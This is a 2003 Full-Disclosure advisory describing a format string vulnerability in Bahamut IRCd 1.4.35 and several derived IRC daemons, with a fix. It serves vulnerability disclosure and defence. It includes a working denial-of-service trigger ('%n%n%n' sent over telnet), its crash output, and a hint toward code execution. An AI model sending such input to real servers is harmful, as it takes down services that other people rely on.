[Full-Disclosure] Bahamut IRCd <= 1.4.35 and several derived daemons

2003-06-26T00:00:00
ID SECURITYVULNS:DOC:4750
Type securityvulns
Reporter Securityvulns
Modified 2003-06-26T00:00:00

Description

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

========================================================================== 0xbadc0ded Advisory #01 - 2003/06/26 - Bahamut IRCd <= 1.4.35 and others ==========================================================================

Reference http://0xbadc0ded.org/advisories/0301.txt PGP-key http://0xbadc0ded.org/advisories/pubkey.asc

Application Bahamut IRCd <= 1.4.35 and several derived daemons Discovered By Anonymous 0xbadc0ded.org affiliate Researched By Joel Eriksson <je@bitnux.com>

Overview

Bahamut IRCd is the official IRC daemon of DALnet and a popular ircd in general. There are also a number of daemons based on Bahamut.

Problem

A remotely exploitable format string vulnerability exists in the latest version of Bahamut (1.4.35 at the time of writing) and many IRC daemons derived from it. Of the five daemons we have investigated, four of them were vulnerable. These are:

bahamut-1.4.35
digatech-1.2.1
methane-0.1.1
AndromedeIRCd1.2.3-Release

The following daemon had already fixed the bug:

cs-ircd-0.1.1beta

For the vulnerability to appear, the server must be compiled with DEBUGMODE defined. This is the vulnerable code in src/s_debug.c:

  if &#40;level == DEBUG_ERROR&#41;
      syslog&#40;LOG_ERR, debugbuf&#41;;

One way to trigger the bug is simply to connect to the server and send the format string to be sent through syslog(). This is due to the following in src/parse.c (from bahamut-1.4.35):

  Debug&#40;&#40;DEBUG_ERROR, &quot;Unknown &#40;&#37;s&#41; from &#37;s&quot;,
      ch, get_client_name&#40;cptr, TRUE&#41;&#41;&#41;;

Exploit

A DoS-attack is simple, just send a string consisting of a few %n's and the server will die with a segmentation fault due to trying to dereference and write to a NULL-pointer. Example:

[je@vudo ~]$ telnet 127.0.0.1 6667
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is &#39;^]&#39;.
:server.dal.net NOTICE AUTH :*** Looking up your hostname...
:server.dal.net NOTICE AUTH :*** Checking Ident
:server.dal.net NOTICE AUTH :*** Found your hostname
:server.dal.net NOTICE AUTH :*** No Ident response
&#37;n&#37;n&#37;n
Connection closed by foreign host.
[je@vudo ~]$ telnet 127.0.0.1 6667
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
[je@vudo ~]$

And this is from a gdb-session on bahamut during the attack:

Program received signal SIGSEGV, Segmentation fault.
0x2f1e4e71 in vfprintf &#40;&#41; from /lib/libc.so.6
&#40;gdb&#41; x/i$pc
0x2f1e4e71 &lt;vfprintf+9857&gt;:     mov    &#37;ecx,&#40;&#37;eax&#41;
&#40;gdb&#41; i r eax
eax            0x0      0
&#40;gdb&#41; bt
#0  0x2f1e4e71 in vfprintf &#40;&#41; from /lib/libc.so.6
#1  0x2f2711b2 in vsyslog &#40;&#41; from /lib/libc.so.6
#2  0x2f27101d in syslog &#40;&#41; from /lib/libc.so.6
#3  0x08064554 in debug &#40;level=791434068, pattern=0x0&#41; at s_debug.c:132
#4  0x08057096 in parse &#40;cptr=0x2f506440, buffer=0x2f506534 &quot;&#37;n&#37;n&#37;n&quot;, bufend=0x2f50653a &quot;&quot;&#41; at parse.c:212
#5  0x08056f29 in client_dopacket &#40;cptr=0x2f506440, buffer=0x0, length=9&#41; at packet.c:236
#6  0x08060668 in do_client_queue &#40;cptr=0x2f506440&#41; at s_bsd.c:1410
#7  0x08061070 in read_message &#40;delay=1, listp=0x81cddc0&#41; at s_bsd.c:2131
#8  0x080551e8 in io_loop &#40;&#41; at ircd.c:1211
#9  0x08054a8e in main &#40;argc=0, argv=0x1&#41; at ircd.c:991
#10 0x2f1aedc4 in __libc_start_main &#40;&#41; from /lib/libc.so.6
&#40;gdb&#41; detach
Detaching from program: /home/je/audit/bahamut-1.4.35/src/ircd, process 27284

To use this bug for executing code on the target you would have to be a bit more creative, since debugbuf is a global variable and thus not on the stack. One way would be to overwrite the saved ebp in debug() to control ebp in the function that called debug() and thus the eip when returning from there.

Workaround

Edit src/s_debug.c and change:

syslog&#40;LOG_ERR, debugbuf&#41;;

to:

syslog&#40;LOG_ERR, &quot;&#37;s&quot;, debugbuf&#41;.

Disclosure Timeline

2003/06/25 Notified developers of the vulnerable IRC-daemons. 2003/06/26 Public release

========================================================================== The 0xbadc0ded.org team is hosted and sponsored by Bitnux: www.bitnux.com ==========================================================================

Bitnux is a newly founded company located in Sweden focused on security research and system development. We offer services such as:

  • Code Reviews
  • Exploit Development
  • Reverse Engineering of Code
  • Security Revisions of Systems and Software
  • Custom System Development for Unix/Linux/BSD and Windows

E-mail : info@bitnux.com Phone : +46-70-228 64 16 Chat : http://bitnux.com/live

-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE++sUWqnq6VG/4jhQRAn3tAJsFrarhYjnRL3b8jUuYiYgJCKbWagCdHMLF ymhvKVu6y1HsSDAwjxuGqRg= =YzI5 -----END PGP SIGNATURE----- _______ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html